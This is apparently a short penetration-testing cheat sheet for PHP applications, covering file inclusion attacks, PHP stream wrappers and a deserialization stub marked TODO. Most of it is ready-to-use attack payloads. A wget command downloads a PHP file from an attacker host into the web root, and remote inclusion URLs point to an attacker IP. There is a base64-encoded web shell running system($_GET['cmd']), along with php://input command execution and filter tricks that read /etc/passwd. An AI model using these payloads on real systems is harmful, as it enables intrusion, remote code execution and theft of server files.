- Check to execute PHP code
- Check URI handlers
- Check compose
file_get_contents(…)- If there is a remote file inclusion vulnerability with require or require_once like
require_once($basePath."/inc/mysql.php"); <--- RFI
then provide a file locally which executes PHP and reference this like server_file.php?basePath=http://192.168.119.158/aha.php?
- Download from remote a file which can be executed later:
<?php system("/usr/local/bin/wget http://$attackerip/r.php -O /usr/local/www/apache24/data/r.php") ?>
Local file inclusion and Wrappers
General: If you try to read PHP and nothing returns — use a base64 return!
- Execute a command via the input filter
index.php?page=php://input&cmd=ls- Other method via the data wrapper, from hacktricks:
index.php?lang=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTsgPz4==&cmd=ls- This base64 =
<?php system($_GET['cmd']); ?>
- This base64 =
- Other method via the data wrapper, from hacktricks:
- Read a file via the resource filter:
index.php?page=php://filter/resource=admin.php- The output could be filtered, especially when it’s php. Try instead direct conversions:
index.php?page=php://filter/convert.base64-encode/resource=/etc/passwdindex.php?page=php://filter/write=string.rot13/resource=example.txt
- The output could be filtered, especially when it’s php. Try instead direct conversions:
- Read process information:
?lang=/proc/$pid/cmdline // see proc article! - Try to write into php://fd/2 which is stderr — if you can access a log, you could be able to execute php code there.
- Force other mime format like index.php?file=data:text/plain,cleartext which can be used with other mime types to bypass filters.
- See here for a list of PHP handlers which could also work in other systems.
Remote file inclusion
- It could be possible to request thiry-party content, which we could provide:
index.php?page=http://$our_ip/s.php?cmd=ls
PHP deserialization
If a program accepts a serialized object which uses a magic method, then… TODO, see here
Leave a Reply
You must be logged in to post a comment.